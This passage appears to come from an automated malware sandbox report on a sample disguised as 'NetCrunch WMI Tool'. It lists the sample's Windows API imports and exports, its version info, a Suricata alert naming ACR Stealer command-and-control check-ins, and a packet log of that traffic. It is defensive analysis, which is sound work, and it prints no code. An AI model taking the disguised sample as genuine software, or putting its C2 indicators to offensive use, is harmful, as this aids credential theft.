ScrollWindowEx, ScrollWindow, ScrollDC, ScreenToClient, RemovePropW, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageW, RegisterClipboardFormatW, RegisterClassA, RegisterClassW, RedrawWindow, PtInRect, PostThreadMessageA, PostThreadMessageW, PostQuitMessage, PostMessageA, PostMessageW, PeekMessageA, PeekMessageW, OpenClipboard, OffsetRect, OemToCharBuffA, OemToCharA, NotifyWinEvent, MsgWaitForMultipleObjectsEx, MsgWaitForMultipleObjects, MoveWindow, MessageBoxA, MessageBoxW, MessageBeep, MapWindowPoints, MapVirtualKeyW, LockWindowUpdate, LoadStringW, LoadMenuW, LoadKeyboardLayoutW, LoadImageA, LoadImageW, LoadIconW, LoadCursorW, LoadBitmapW, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsMenu, IsIconic, IsDialogMessageA, IsDialogMessageW, IsClipboardFormatAvailable, IsChild, IsCharAlphaNumericW, IsCharAlphaA, IsCharAlphaW, InvalidateRgn, InvalidateRect, IntersectRect, InsertMenuItemW, InsertMenuW, InflateRect, HideCaret, GetWindowThreadProcessId, GetWindowTextA, GetWindowTextW, GetWindowRgn, GetWindowRect, GetWindowPlacement, GetWindowDC, GetUpdateRgn, GetUpdateRect, GetTopWindow, GetTabbedTextExtentA, GetTabbedTextExtentW, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetScrollBarInfo, GetPropW, GetParent, GetWindow, GetMessageTime, GetMessagePos, GetMessageExtraInfo, GetMessageA, GetMessageW, GetMenuStringW, GetMenuState, GetMenuItemRect, GetMenuItemInfoW, GetMenuItemID, GetMenuItemCount, GetMenuDefaultItem, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameW, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextW, GetIconInfo, GetForegroundWindow, GetFocus, GetDoubleClickTime, GetDlgItem, GetDlgCtrlID, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardFormatNameW, GetClipboardData, GetClientRect, GetClassNameA, GetClassNameW, GetClassInfoExW, GetClassInfoW, GetCaretPos, GetCapture, GetAsyncKeyState, GetAncestor, GetActiveWindow, FrameRect, FindWindowExW, FindWindowA, FindWindowW, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumClipboardFormats, EnumChildWindows, EndPaint, EndMenu, EndDeferWindowPos, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextExW, DrawTextA, DrawTextW, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DragDetect, DispatchMessageA, DispatchMessageW, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DestroyCaret, DeleteMenu, DeferWindowPos, DefWindowProcA, DefWindowProcW, DefMDIChildProcW, DefFrameProcW, CreatePopupMenu, CreateMenu, CreateIconIndirect, CreateIcon, CreateCaret, CreateAcceleratorTableW, CountClipboardFormats, CopyImage, CopyIcon, CloseClipboard, ClientToScreen, ChildWindowFromPointEx, ChildWindowFromPoint, CheckMenuItem, CharUpperBuffW, CharUpperW, CharNextW, CharLowerBuffW, CharLowerW, ChangeClipboardChain, CallWindowProcA, CallWindowProcW, CallNextHookEx, BringWindowToTop, BeginPaint, BeginDeferWindowPos, AttachThreadInput, CharLowerBuffA, CharUpperBuffA, CharUpperA, CharToOemBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	WidenPath, UpdateColors, UnrealizeObject, TextOutA, TextOutW, StrokePath, StrokeAndFillPath, StretchDIBits, StretchBlt, StartPage, StartDocA, StartDocW, SetWorldTransform, SetWindowOrgEx, SetWindowExtEx, SetWinMetaFileBits, SetViewportOrgEx, SetViewportExtEx, SetTextJustification, SetTextCharacterExtra, SetTextColor, SetTextAlign, SetStretchBltMode, SetRectRgn, SetROP2, SetPolyFillMode, SetPixelV, SetPixel, SetPaletteEntries, SetMapMode, SetGraphicsMode, SetEnhMetaFileBits, SetDIBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SetArcDirection, SetAbortProc, SelectPalette, SelectObject, SelectClipRgn, SelectClipPath, ScaleWindowExtEx, SaveDC, RoundRect, RestoreDC, ResizePalette, ResetDCW, Rectangle, RectVisible, RectInRegion, RealizePalette, PtVisible, PtInRegion, PolylineTo, Polyline, Polygon, PolyPolyline, PolyBezierTo, PolyBezier, PlayEnhMetaFile, Pie, PathToRegion, PatBlt, OffsetWindowOrgEx, OffsetRgn, OffsetClipRgn, MoveToEx, MaskBlt, LineTo, LPtoDP, IntersectClipRect, GetWindowOrgEx, GetWindowExtEx, GetWinMetaFileBits, GetViewportOrgEx, GetTextMetricsA, GetTextMetricsW, GetTextFaceA, GetTextExtentPointW, GetTextExtentPoint32A, GetTextExtentPoint32W, GetTextExtentExPointA, GetTextExtentExPointW, GetTextColor, GetTextCharacterExtra, GetTextAlign, GetSystemPaletteEntries, GetStretchBltMode, GetStockObject, GetRgnBox, GetRegionData, GetROP2, GetPixel, GetPaletteEntries, GetOutlineTextMetricsA, GetObjectType, GetObjectA, GetObjectW, GetNearestPaletteIndex, GetNearestColor, GetMapMode, GetFontData, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileDescriptionW, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetCurrentObject, GetClipRgn, GetClipBox, GetCharABCWidthsW, GetBrushOrgEx, GetBkMode, GetBkColor, GetBitmapBits, GdiFlush, FrameRgn, FillRgn, FillPath, ExtTextOutA, ExtTextOutW, ExtSelectClipRgn, ExtFloodFill, ExtCreateRegion, ExtCreatePen, ExcludeClipRect, EqualRgn, EnumFontsW, EnumFontFamiliesExW, EnumFontFamiliesW, EnumEnhMetaFile, EndPath, EndPage, EndDoc, Ellipse, DeleteObject, DeleteEnhMetaFile, DeleteDC, DPtoLP, CreateSolidBrush, CreateRoundRectRgn, CreateRectRgnIndirect, CreateRectRgn, CreatePolygonRgn, CreatePenIndirect, CreatePen, CreatePatternBrush, CreatePalette, CreateICW, CreateHatchBrush, CreateHalftonePalette, CreateFontIndirectA, CreateFontIndirectW, CreateFontA, CreateFontW, CreateEnhMetaFileW, CreateEllipticRgnIndirect, CreateEllipticRgn, CreateDIBitmap, CreateDIBSection, CreateDCW, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileW, CombineRgn, CloseFigure, CloseEnhMetaFile, Chord, BitBlt, BeginPath, ArcTo, Arc, AngleArc, AbortDoc
version.dll	VerQueryValueA, VerQueryValueW, GetFileVersionInfoSizeA, GetFileVersionInfoSizeW, GetFileVersionInfoA, GetFileVersionInfoW
mpr.dll	WNetAddConnection2W
kernel32.dll	lstrlenW, lstrcmpiW, lstrcmpA, lstrcmpW, WriteProfileStringW, WriteFile, WideCharToMultiByte, WaitForSingleObject, WaitForMultipleObjectsEx, VirtualQueryEx, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, VerSetConditionMask, VerifyVersionInfoW, UnmapViewOfFile, TryEnterCriticalSection, TerminateThread, TerminateProcess, SystemTimeToFileTime, SwitchToThread, SuspendThread, SleepEx, Sleep, SizeofResource, SetUnhandledExceptionFilter, SetThreadPriority, SetThreadLocale, SetLastError, SetFilePointer, SetFileAttributesA, SetFileAttributesW, SetEvent, SetErrorMode, SetEndOfFile, SearchPathA, ResumeThread, ResetEvent, RemoveDirectoryA, RemoveDirectoryW, ReleaseMutex, ReadProcessMemory, ReadFile, RaiseException, QueryPerformanceFrequency, QueryPerformanceCounter, QueryDosDeviceW, IsDebuggerPresent, OutputDebugStringW, OpenProcess, OpenFileMappingA, OpenFileMappingW, MultiByteToWideChar, MulDiv, MoveFileExW, MapViewOfFile, LockResource, LocalSize, LocalFree, LocalAlloc, LoadResource, LoadLibraryExA, LoadLibraryA, LoadLibraryW, LeaveCriticalSection, LCMapStringW, IsValidLocale, IsDBCSLeadByte, IsBadReadPtr, InitializeCriticalSectionAndSpinCount, InitializeCriticalSection, HeapSize, HeapFree, HeapDestroy, HeapCreate, HeapAlloc, GlobalUnlock, GlobalSize, GlobalMemoryStatus, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomW, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomW, GetWindowsDirectoryA, GetWindowsDirectoryW, GetVolumeInformationW, GetVersionExA, GetVersionExW, GetVersion, GetUserDefaultLCID, GetTimeZoneInformation, GetTimeFormatW, GetTickCount, GetThreadPriority, GetThreadLocale, GetThreadContext, GetTempPathA, GetTempPathW, GetSystemTime, GetSystemInfo, GetSystemTimes, GetSystemDirectoryW, GetStringTypeExA, GetStringTypeExW, GetStdHandle, GetProfileStringA, GetProfileStringW, GetProfileIntW, GetProcAddress, GetPriorityClass, GetModuleHandleA, GetModuleHandleW, GetModuleFileNameA, GetModuleFileNameW, GetLogicalDriveStringsW, GetLocaleInfoA, GetLocaleInfoW, GetLocalTime, GetLastError, GetFullPathNameW, GetFileType, GetFileTime, GetFileSize, GetFileAttributesA, GetFileAttributesW, GetExitCodeThread, GetExitCodeProcess, GetEnvironmentVariableW, GetDriveTypeW, GetDiskFreeSpaceA, GetDiskFreeSpaceW, GetDateFormatW, GetCurrentThreadId, GetCurrentThread, GetCurrentProcessId, GetCurrentProcess, GetCurrentDirectoryA, GetCurrentDirectoryW, GetComputerNameA, GetComputerNameW, GetCommandLineA, GetCommandLineW, GetCPInfoExW, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, InterlockedCompareExchange, FreeLibrary, FormatMessageA, FormatMessageW, FlushInstructionCache, FindResourceA, FindResourceW, FindNextFileA, FindNextFileW, FindFirstFileA, FindFirstFileW, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, FileTimeToDosDateTime, FatalAppExitA, ExpandEnvironmentStringsA, ExpandEnvironmentStringsW, ExitThread, ExitProcess, EnumSystemLocalesW, EnumResourceNamesW, EnumCalendarInfoW, EnterCriticalSection, DuplicateHandle, DeleteFileA, DeleteFileW, DeleteCriticalSection, CreateThread, CreateProcessA, CreateProcessW, CreatePipe, CreateMutexA, CreateMutexW, CreateFileMappingA, CreateFileMappingW, CreateFileA, CreateFileW, CreateEventA, CreateEventW, CreateDirectoryA, CreateDirectoryW, CopyFileA, CopyFileW, CompareStringA, CompareStringW, CloseHandle, Beep
advapi32.dll	SetSecurityDescriptorDacl, RegUnLoadKeyW, RegSetValueExA, RegSetValueExW, RegSaveKeyW, RegRestoreKeyW, RegReplaceKeyW, RegQueryValueExA, RegQueryValueExW, RegQueryInfoKeyA, RegQueryInfoKeyW, RegOpenKeyExA, RegOpenKeyExW, RegLoadKeyW, RegFlushKey, RegEnumValueW, RegEnumKeyA, RegEnumKeyExW, RegDeleteValueA, RegDeleteValueW, RegDeleteKeyW, RegCreateKeyExA, RegCreateKeyExW, RegConnectRegistryW, RegCloseKey, OpenProcessToken, InitializeSecurityDescriptor, GetUserNameA, GetUserNameW, GetTokenInformation, FreeSid, AllocateAndInitializeSid
SHFolder.dll	SHGetFolderPathW
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayRedim, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
oleaut32.dll	CreateErrorInfo, GetErrorInfo, SetErrorInfo, GetActiveObject, VariantInit, SysFreeString
ole32.dll	CreateStreamOnHGlobal, OleRegEnumVerbs, IsAccelerator, ReleaseStgMedium, OleDraw, OleSetMenuDescriptor, OleFlushClipboard, OleGetClipboard, OleSetClipboard, DoDragDrop, RevokeDragDrop, RegisterDragDrop, OleUninitialize, OleInitialize, CreateDataAdviseHolder, CoTaskMemFree, CoTaskMemAlloc, ProgIDFromCLSID, StringFromCLSID, CoCreateInstance, CoInitializeSecurity, CoGetClassObject, CoUninitialize, CoInitializeEx, CoInitialize, IsEqualGUID
comctl32.dll	InitializeFlatSB, FlatSB_SetScrollProp, FlatSB_SetScrollPos, FlatSB_SetScrollInfo, FlatSB_GetScrollPos, FlatSB_GetScrollInfo, _TrackMouseEvent, ImageList_GetImageInfo, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Copy, ImageList_LoadImageW, ImageList_GetIcon, ImageList_Remove, ImageList_DrawEx, ImageList_AddMasked, ImageList_Replace, ImageList_Draw, ImageList_SetOverlayImage, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
shell32.dll	SHGetFileInfoW, ShellExecuteExA, ShellExecuteA, ShellExecuteW, Shell_NotifyIconW, ExtractIconW, ExtractAssociatedIconW
comdlg32.dll	PrintDlgW, ChooseFontW, ChooseColorW, GetSaveFileNameA, GetSaveFileNameW, GetOpenFileNameW
wsock32.dll	WSACleanup, WSAStartup, WSAGetLastError, gethostbyname, socket, setsockopt, sendto, send, select, recvfrom, recv, ioctlsocket, inet_addr, htons, connect, closesocket, bind
kernel32.dll	RtlUnwind
shell32.dll	SHGetPathFromIDListA, SHGetSpecialFolderLocation, SHGetMalloc
user32.dll	EnumDisplayMonitors, GetMonitorInfoW, MonitorFromPoint, MonitorFromRect, MonitorFromWindow
msvcrt.dll	memset, memcpy
winspool.drv	SetPrinterW, OpenPrinterW, GetPrinterW, EnumPrintersW, DocumentPropertiesW, DeviceCapabilitiesW, ClosePrinter
winspool.drv	GetDefaultPrinterW
kernel32.dll	GetStringTypeW
kernel32.dll	GetVersionExW
winmm.dll	timeGetTime, timeEndPeriod, timeBeginPeriod, PlaySoundW, mciSendCommandW, mciGetErrorStringW
activeds.dll	ADsFreeEnumerator
kernel32.dll	GetProcAddress, LoadLibraryA, GetModuleHandleA
oleacc.dll	LresultFromObject
GDI32.DLL	GetRandomRgn
winspool.drv	DocumentPropertiesW
kernel32.dll	MulDiv
iphlpapi.dll	GetAdaptersInfo
ole32.dll	CoCreateInstance, CoInitialize

Exports

Name	Ordinal	Address
GetHardwareID	3	0x13ba910
TMethodImplementationIntercept	2	0x4e2048
madTraceProcess	1	0x4b4a1c

Version Infos

Description	Data
CompanyName	AdRem Software, Inc.
FileDescription	NetCrunch WMI Tool
FileFlagPrivate	False
FileSubType	0
FileVersion	8.0.0.16
InternalName	NetCrunch WMI Tool 8
LegalCopyright	2014 (c) AdRem Software Inc., all rights reserved
OriginalFilename	NCWmiTools
ProductName	NetCrunch WMI Tool
ProductVersion	8.0.0.0
Translation	0x0409 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
German	Germany
Polish	Poland
French	France
English	Great Britain
Czech	Czech Republic

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-05-10T08:05:35.760443+0200	2052674	ET MALWARE ACR Stealer CnC Checkin Attempt	1	192.168.2.4	49721	188.114.96.3	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 10, 2025 08:05:35.324959993 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.466103077 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.466840982 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.466841936 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.607964993 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760193110 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760236025 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760301113 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760338068 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760371923 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760406017 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760438919 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760442972 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.760442972 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.760473013 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760483027 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.760509014 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760549068 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760550976 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.760586977 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.760617018 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.760621071 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.764033079 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.894043922 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.894088984 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.894123077 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.894157887 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.894376993 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.894376993 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.894406080 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.894443035 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.894478083 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.894511938 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.894560099 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.895155907 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.895242929 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.895278931 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.895282030 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.895317078 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.895354033 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.895967007 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.896006107 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.896043062 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.896244049 CEST	80	49721	188.114.96.3	192.168.2.4
May 10, 2025 08:05:35.896503925 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.896503925 CEST	49721	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:35.901981115 CEST	49722	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:36.042907953 CEST	80	49722	188.114.96.3	192.168.2.4
May 10, 2025 08:05:36.043006897 CEST	49722	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:36.043103933 CEST	49722	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:36.184113026 CEST	80	49722	188.114.96.3	192.168.2.4
May 10, 2025 08:05:36.343833923 CEST	80	49722	188.114.96.3	192.168.2.4
May 10, 2025 08:05:36.344389915 CEST	80	49722	188.114.96.3	192.168.2.4
May 10, 2025 08:05:36.344453096 CEST	49722	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:36.372764111 CEST	49722	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:36.513541937 CEST	80	49722	188.114.96.3	192.168.2.4
May 10, 2025 08:05:38.740950108 CEST	49725	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:38.881834984 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:38.882035971 CEST	49725	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:38.882163048 CEST	49725	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.023422003 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.023479939 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.023513079 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.023545027 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.023576975 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.023607969 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.023633957 CEST	49725	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.023639917 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.023672104 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.023708105 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.023741961 CEST	49725	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.023746014 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.023787022 CEST	49725	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.023813009 CEST	49725	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.165447950 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165504932 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165534019 CEST	49725	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.165541887 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165575027 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165607929 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165641069 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165672064 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165704012 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165738106 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165770054 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165800095 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165832996 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165863037 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.165894032 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.306993961 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.499228001 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.499938011 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.505774021 CEST	49725	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.516396999 CEST	49725	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.597871065 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.657922983 CEST	80	49725	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.739214897 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.740187883 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.740187883 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.881447077 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.881506920 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.881540060 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.881551981 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.881572962 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.881614923 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.881666899 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.881697893 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.881702900 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.881736994 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.881748915 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.881769896 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.881803989 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.881831884 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.881835938 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:39.881865025 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:39.881963968 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023483038 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023545980 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023578882 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023583889 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023612976 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023638964 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023647070 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023669958 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023680925 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023696899 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023714066 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023749113 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023753881 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023778915 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023789883 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023807049 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023823977 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023854971 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023855925 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023885012 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023889065 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023915052 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023922920 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023956060 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.023977041 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.023988962 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.024019957 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.024087906 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.166913986 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.166949034 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.166965008 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.166980982 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.166996956 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167011976 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167026043 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167040110 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167054892 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167068958 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167083025 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167099953 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167114019 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167129040 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167143106 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167157888 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167175055 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167190075 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167205095 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167220116 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167234898 CEST	80	49726	188.114.96.3	192.168.2.4
